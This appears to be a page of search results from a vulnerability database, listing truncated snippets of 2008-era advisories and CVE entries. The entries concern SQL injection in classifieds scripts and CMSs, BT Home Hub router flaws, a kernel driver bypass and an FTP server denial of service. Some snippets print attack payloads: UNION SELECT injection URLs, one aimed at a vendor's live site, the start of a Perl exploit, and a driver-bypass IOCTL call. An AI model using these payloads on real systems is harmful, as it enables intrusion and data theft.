7382 matches found
Mambo Component n-gallery Multiple SQL Injection Vulnerabilities
No description provided by source. Mambo Component n-gallery SQL Injection Author : AlbaniaN-H Site : http://www.khg-crew.ws  ...
carscripts-sql.txt
Carscripts Classifieds Sql INjection By Stack Home v4-team.com + : you can see the Result in 'Title' + : Open the source page to see the result poc : http://site.co.il/index.php?cat=-1//UNION//SELECT//concatchar58,user,version,database,2,3/ live demo...
BoatScripts Classifieds - type SQL Injection
BoatScripts Classifieds - type SQL Injection BoatScripts Classifieds Sql INjection By Stack Home v4-team.com poc : http://site.co.il/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/ live demo tested...
Comparison Engine Power 1.0 Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl useLWP::UserAgent; useGetopt::Long; if!$ARGV1 print"\n"; print"VIVAISLAMEVIVAISLAME\n"; print"VIVAISLAMEVIVAISLAME\n"; print"\n"; print"ComparisonEnginePower1.0BlindSQLInjectionExploit\n"; print"&...
BoatScripts Classifieds - 'type' SQL Injection
BoatScripts Classifieds Sql INjection By Stack Home v4-team.com poc : http://site.co.il/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/ live demo tested http://www.boatscripts.com/boats/index.php?type=-1//UNION//SELECT//concatchar58,user,version,database/ milw0rm.com 2008-06...
Family Connections CMS 1.4 - Multiple SQL Injections
Family Connections CMS 1.4 - Multiple SQL Injections ========================================================================== Family Connections CMS 1.4 Multiple Remote SQL Injection Vulnerabilities ==========================================================================...
JiRo?s FAQ Manager (read.asp fID) SQL Injection Vulnerability
No description provided by source. + Script Name : JiRo´s FAQ Manager eXperience + Version : v 1.0 + Price : Single Website License 34.95 $ 2 Websites License 62.95 $ 5 Websites License 139.95 $ + Author : Underz0ne Crew + Home : http://www.underz0ne.net + Script In short : 'JiRos FAQ Management...
BT Home Hub管理员口令泄露漏洞
BUGTRAQ ID: 29387 BT Home Hub是家用的无线Internet路由器。 BT Home Hub的最新固件版本添加了一个新的安全功能，允许将默认的管理员口令从admin更改为路由器的序列号，但只要向路由器所在的网络发送MDAP多播请求就可以得到Home Hub的序列号。 如果要利用这个漏洞，攻击者必须通过ethernet或Wi-Fi加入到Home Hub所在的LAN。有两种方式可以入侵到BT Home Hub Wi-Fi网络： - arp回放注入和弱IV破解 - 通过SSID暴力猜测Home Hub的默认WEP密钥列表 British...
Two lines of code to bypass the home patrol v1. 1-vulnerability warning-the black bar safety net
HANDLE hdev = CreateFile"\\\\.\\ IEGuard" , FILEREADATTRIBUTES , 0 , 0, OPENEXISTING , 0 , 0 ; DeviceIoControlhdev , 0x50000408 , 0 , 0 , 0 , 0 , &retlen , 0 ; ! Demo program download: http://www.debugman.com/read.php?tid=1306&page=ea （IDB） Or: Under the \漏洞 演示 \BypassIeGuard.rar...
Home patrol v1. 1/1. 0 kernel driver denial of service and local mention the right vulnerability-vulnerability warning-the black bar safety net
Author: MJ0011 Source: MJ0011 kernel driver Institute Home patrol v1. 1/1. 0 kernel driver there is a serious vulnerability Installed the home patrol v1. 1v1. 0the machines, any permissions the user can cause the system to blue screen BSOD, and cause a denial of service attack Combined with our...
BT Home Hub router multiple security vulnerabilities
Authentication bypass, crossite scripting, privilege escalation...
MDAP ANTs PWNAGE: dumping the admin password of the BT Home Hub
http://www.gnucitizen.org/blog/dumping-the-admin-password-of-the-bt-home-hub/ We're back with more security attacks against the BT Home Hub most popular wireless DSL router in the UK! BT added a new security feature on the latest version 1 of the BT Home Hub firmware 6.2.6.E at time of writing...
CVE-2008-1994
Multiple stack-based buffer overflows in a acon.c, b menu.c, and c child.c in Acon 1.0.5-5 through 1.0.5-7 allow local users to execute arbitrary code via 1 a long HOME environment variable or 2 a large number of terminal columns...
Thomson SpeedTouch和BT Home Hub路由器默认WEP/WPA密钥算法漏洞
BUGTRAQ ID: 28893 BT Home Hub和Speedtouch都是家用的无线Internet路由器。 BT Home Hub和Speedtouch路由器所使用的默认WEP/WPA密钥算法是可预测的，远程攻击者可以基于一些公开信息（如MAC地址或SSID）预测出密钥，这样就可以完全入侵路由器。 对于Speedtouch路由器路由器： S/N：CP0615JT109 53 删除CC和PP值：CP0615109 将XXX值转换为16进制：CP0615313039 通过SHA-1处理：742da831d2b657fa53d347301ec610e1ebf8a3d0...
CVE-2008-1478
Home FTP Server 1.4.5.89 allows remote attackers to cause a denial of service crash by opening a FTP passive mode connection, then closing the original FTP connection. NOTE: some of these details are obtained from third party information...
CVE-2008-1478
CVE-2008-1478 affects Home FTP Server 1.4.5.89. The vulnerability allows remote attackers to cause a denial of service (crash) by opening a passive FTP connection and then closing the original connection. The description notes that some details come from third-party information; no additional tec...
Home FTP Server DoS
Discovered by 0in from DaRk-CodeRs Programming & Security Group Contact: 0indotemailatgmaildotcom Thats a very funny bug, and nobody understand how it works; When we send a python FTP retrlines function bad command and create a new connection server got DoS... o0 Thats not overflow, it's probubly...
Authentication flaw
cgi/b on the BT Home Hub router allows remote attackers to bypass authentication, and read or modify administrative settings or make arbitrary VoIP telephone calls, by placing a character at the end of the PATHINFO, as demonstrated by 1 %5C encoded backslash, 2 '%' percent, and 3 '' tilde. NOTE:...
CVE-2008-1334
cgi/b on the BT Home Hub router allows remote attackers to bypass authentication, and read or modify administrative settings or make arbitrary VoIP telephone calls, by placing a character at the end of the PATHINFO, as demonstrated by 1 %5C encoded backslash, 2 '%' percent, and 3 '' tilde. NOTE:...
CVE-2008-1334
cgi/b on the BT Home Hub router allows remote attackers to bypass authentication, and read or modify administrative settings or make arbitrary VoIP telephone calls, by placing a character at the end of the PATHINFO, as demonstrated by 1 %5C encoded backslash, 2 '%' percent, and 3 '' tilde. NOTE:...